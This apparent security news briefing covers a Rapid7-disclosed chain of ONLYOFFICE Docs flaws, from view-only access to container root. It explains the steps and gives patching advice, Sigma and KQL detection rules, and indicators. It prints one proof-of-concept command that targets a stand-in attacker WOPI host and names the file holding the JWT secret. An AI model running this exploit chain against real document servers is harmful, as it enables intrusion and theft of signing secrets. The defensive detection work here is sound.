Skip to main content
ACTIVELY MONITORED//Verified: Nov 16, 2026
Vulnerability WatchCloud DefenseThreat Intelligence
5 min read

ONLYOFFICE Docs: How to Detect & Patch Container Root Flaws

•By Rutvij Khatri•VERIFIED INTEL
ONLYOFFICE Docs: How to Detect & Patch Container Root Flaws

SOC Briefing Summary :: Executive Key Takeaways

  • [01]Rapid7 uncovered five vulnerabilities in ONLYOFFICE Docs allowing view-only users to escalate privileges to root inside the official container.
  • [02]Exploit chain abuses DocBuilder authorization failures (CVE-2026-110385) to forge Session JWT tokens and trigger command execution via WOPI.
  • [03]Vendor resolved all five vulnerabilities in Document Server 10.0; defenders should deploy container runtime monitoring and network isolation.

Executive Incident Briefing (2-Minute CISO Brief)

Quick Answer (At-A-Glance): Rapid7 senior security researcher Jonah Burgess (CryptoCat) disclosed five vulnerabilities in ONLYOFFICE Docs (Document Server versions prior to 10.0.0). By chaining authorization bypasses in the /docbuilder service (CVE-2026-110385), cryptographic JSON Web Token (JWT) forgery (CVE-2026-113627), and unsafe WOPI callback execution, an unauthenticated attacker or a user possessing only view-only document permissions can achieve remote code execution as the ds service account and subsequently escalate privileges to root inside the official Docker container. ONLYOFFICE remediated all findings in Document Server 10.0. Security teams must upgrade Document Server instances immediately, restrict access to the DocBuilder API, and deploy KQL detection logic to identify unauthorized container shell spawning and metadata reconnaissance.

ONLYOFFICE Docs is widely integrated into enterprise collaboration platforms, including Nextcloud, ownCloud, Zimbra, and Confluence, providing browser-based collaborative editing for documents, spreadsheets, and presentations. Because document servers frequently handle confidential corporate records, vulnerabilities that bridge document viewing into root-level container compromise present acute organizational risk.

  • Target Application: ONLYOFFICE Docs / DocumentServer (Tested on official onlyoffice/documentserver:9.4.0 image)
  • Vulnerabilities Chained: CVE-2026-110385, CVE-2026-113627, CVE-2026-97727, and related DocBuilder/WOPI authorization flaws.
  • Exploit Prerequisite: View-only document access; or zero authentication when Web Application Open Platform Interface (WOPI) is enabled with default IP filters.
  • Vendor Fix: Resolved in Document Server version 10.0.0 (package 10.0.0-169).
  • Exploit Proof-of-Concept: Fully functional exploit scripts released in public research repositories (pocs/wopi_docbuilder_jwt_forgery.py).

The vulnerability chain demonstrates that application-level containerization is insufficient if internal service accounts maintain write permissions to system binaries or have unconstrained access to container runtime capabilities.

Technical Vulnerability Analysis & Attack Chain

Attack Chain Flow
// Attack Chain Flow

Rapid7's research details a complex multi-stage exploit chain transitioning from minimal document viewing privileges to complete container host control.

1. Ingress & The Dual JWT Architecture

Integrating applications supply an opening configuration signed with a shared "Browser key" (the Editor JWT). Upon document opening, DocumentServer issues an ephemeral Session JWT. Incoming service tasks—such as automated document compilation and PDF conversions—are validated using an "Inbox JWT" key.

In default deployments, the Browser and Inbox validation logic frequently shared the same effective signing key.

2. DocBuilder Authorization Failure & Secret Exfiltration (CVE-2026-110385)

An attacker possessing view-only access connects to the /docbuilder endpoint. Due to missing authorization checks in DocBuilder's file-handling routines, the attacker can force the server to read arbitrary local files from the filesystem.

In the tested 9.4.0 build, this allowed the attacker to read /etc/onlyoffice/documentserver/local.json, extracting the server's private Session JWT signing secret.

3. JWT Forgery & Permission Escalation

Equipped with the extracted signing secret, the attacker crafts forged JWT tokens containing arbitrary document IDs, administrative roles, and write permissions that were never granted by the integrating application. This allows the attacker to interact directly with internal DocumentServer API endpoints without detection.

4. WOPI Callback Exploitation & Remote Command Execution (CVE-2026-113627)

When WOPI (Web Application Open Platform Interface) is enabled, DocumentServer permits external callback URLs to deliver document content. Rapid7 demonstrated that an attacker-controlled WOPI host could return a crafted payload that abused DocumentServer's script evaluation routines.

The demonstration script (pocs/wopi_docbuilder_jwt_forgery.py) executed arbitrary commands against the target:

QUERY / DETECTION_RULE
BASH / CLI
python3 pocs/wopi_docbuilder_jwt_forgery.py \
  --documentserver https://docs.example.test \
  --public-wopi-src http://attacker.example.test:18084/document/ \
  --command whoami \
  --runtime-absent

This executes arbitrary shell commands inside the container under the context of the ds system account.

5. Escalation to Container Root

From the ds service user, the researcher leveraged internal container file permissions and sudo misconfigurations to elevate execution privileges to root. With root access inside the container, adversaries can inspect all tenant documents in memory, access connected database credentials, and attempt host escape techniques via mounted Docker sockets or kernel vulnerabilities.

MITRE ATT&CK Tactics, Techniques & Procedures (TTPs)

MITRE ATT&CK • OPERATIONAL TTP MAPPING
TacticTechnique IDTechnique NameOperational Context
Initial AccessT1078.004Cloud AccountsAttacker connects using legitimate view-only document editor permissions.
Credential AccessT1552.001Credentials in FilesExtracting JWT signing keys from /etc/onlyoffice/documentserver/local.json.
Defense EvasionT1550.001Application Access TokenForging administrative Session JWTs to bypass document permission boundaries.
ExecutionT1059.006Python / ShellExecuting commands via WOPI callback handler using wopi_docbuilder_jwt_forgery.py.
Privilege EscalationT1068Exploitation for Privilege EscalationEscalating privileges from ds service account to container root.
Lateral MovementT1021Remote ServicesScanning adjacent container network segments and cloud metadata endpoints.

Detection, Hunting & SOC Mitigation Playbook

1. Immediate Containment Checklist

  • [ ] Upgrade ONLYOFFICE Document Server to version 10.0 or later immediately.
  • [ ] Invalidate and re-generate all JWT signing keys in /etc/onlyoffice/documentserver/local.json.
  • [ ] If WOPI is required, restrict WOPI_IP_FILTER to trusted, explicitly defined enterprise IP ranges rather than 0.0.0.0/0.
  • [ ] Run ONLYOFFICE Docker containers with --read-only root filesystems and drop all unneeded Linux capabilities (--cap-drop=ALL).

2. Behavioral Detection Strategy

  • Monitor container runtime logs for unexpected processes spawned by docservice or x2t (e.g., bash, sh, python3, curl).
  • Alert on access attempts to /etc/onlyoffice/documentserver/local.json originating from non-administrative processes.
  • Track outbound HTTP/TCP connections originating from ONLYOFFICE containers toward external unverified IPs or internal cloud metadata services (169.254.169.254).

3. Endpoint Detection & Hunting Query

Sigma Detection Rule

QUERY / DETECTION_RULE
SIGMA / YAML
title: ONLYOFFICE Document Server Process Spawning Shell
id: 2b3c4d5e-6f7a-8901-bcde-f12345678901
status: experimental
description: Detects ONLYOFFICE Document Server child processes spawning command shells, indicative of DocBuilder or WOPI RCE.
author: Rutvij Khatri (CyberNewsAI)
references:
    - https://www.rapid7.com/blog/post/ve-from-view-only-access-to-container-root-five-vulnerabilities-in-onlyoffice-docs-fixed?ref=cybernewsai.com
date: 2026-11-16
logsource:
    category: process_creation
    product: linux
detection:
    selection_parent:
        ParentImage|endswith:
            - '/docservice'
            - '/x2t'
            - '/node'
        ParentCommandLine|contains:
            - 'onlyoffice'
            - 'documentserver'
    selection_child:
        Image|endswith:
            - '/sh'
            - '/bash'
            - '/python3'
            - '/id'
            - '/whoami'
    condition: selection_parent and selection_child
falsepositives:
    - Legitimate container healthcheck scripts executed by Docker engine.
level: critical
tags:
    - attack.initial_access
    - attack.t1190
    - attack.execution
    - attack.t1059.006

Microsoft Sentinel / Defender Detection KQL (Container Shell Execution)

QUERY / DETECTION_RULE
SENTINEL / KQL
// Detection Query: Hunt for ONLYOFFICE container processes spawning unexpected shells
DeviceProcessEvents
| where Timestamp >= ago(7d)
| where InitiatingProcessFileName in~ ("docservice", "node", "x2t")
| where InitiatingProcessCommandLine has "onlyoffice"
| where FileName in~ ("sh", "bash", "python3", "id", "whoami", "curl", "wget")
| project Timestamp, DeviceName, InitiatingProcessFileName, InitiatingProcessCommandLine, FileName, ProcessCommandLine, AccountName
| sort by Timestamp desc

Microsoft Sentinel / Defender Lateral Movement & Hunting KQL (Container Subnet & Metadata Scanning)

QUERY / DETECTION_RULE
SENTINEL / KQL
// Lateral Movement Hunting: Identify ONLYOFFICE container initiating network probes to internal subnets or cloud metadata
DeviceNetworkEvents
| where Timestamp >= ago(7d)
| where InitiatingProcessFileName in~ ("docservice", "node", "x2t", "sh", "bash")
| where RemoteIP == "169.254.169.254" or (RemoteIP matches regex @"^(10\.|172\.(1[6-9]|2[0-9]|3[0-1])\.|192\.168\.)" and RemotePort in (445, 3306, 5432, 6379, 2375))
| summarize ConnectionCount = count(), ScannedPorts = make_set(RemotePort) by DeviceName, InitiatingProcessFileName, RemoteIP, bin(Timestamp, 30m)
| where ConnectionCount > 3
| sort by ConnectionCount desc

4. Enterprise Hardening & Long-Term Resilience

  1. Separate Cryptographic Keys: Ensure Browser JWT, Session JWT, and Inbox JWT keys are distinct and rotated via automated key management systems.
  2. Network Microsegmentation: Isolate ONLYOFFICE containers in a dedicated DMZ network allowing outbound connections strictly to authorized integrating application hosts.
  3. Rootless Containers: Deploy ONLYOFFICE Document Server using Podman or Docker Rootless mode to neutralize container-to-host privilege escalation vectors.

Indicators of Compromise (IOCs)

Indicator TypeValueForensic Description
cveCVE-2026-110385ONLYOFFICE DocBuilder authorization failure vulnerability
cveCVE-2026-113627ONLYOFFICE WOPI callback command execution vulnerability
cveCVE-2026-97727ONLYOFFICE Document Server privilege escalation vulnerability
urlPOST /docbuilderInternal endpoint targeted for unauthorized file exfiltration
file_path/etc/onlyoffice/documentserver/local.jsonConfiguration file containing private JWT signing secrets
otherpocs/wopi_docbuilder_jwt_forgery.pyRapid7 public proof-of-concept exploit script identifier

---

Related Topic Cluster Intelligence

Indicators of Compromise (IOCs)
6 Identified
CVECVE-2026-110385
CVECVE-2026-113627
CVECVE-2026-97727
URLPOST /docbuilder
FILE PATH/etc/onlyoffice/documentserver/local.json
POC EXPLOIT TOOLpocs/wopi_docbuilder_jwt_forgery.py
SHARE INTEL:Reddit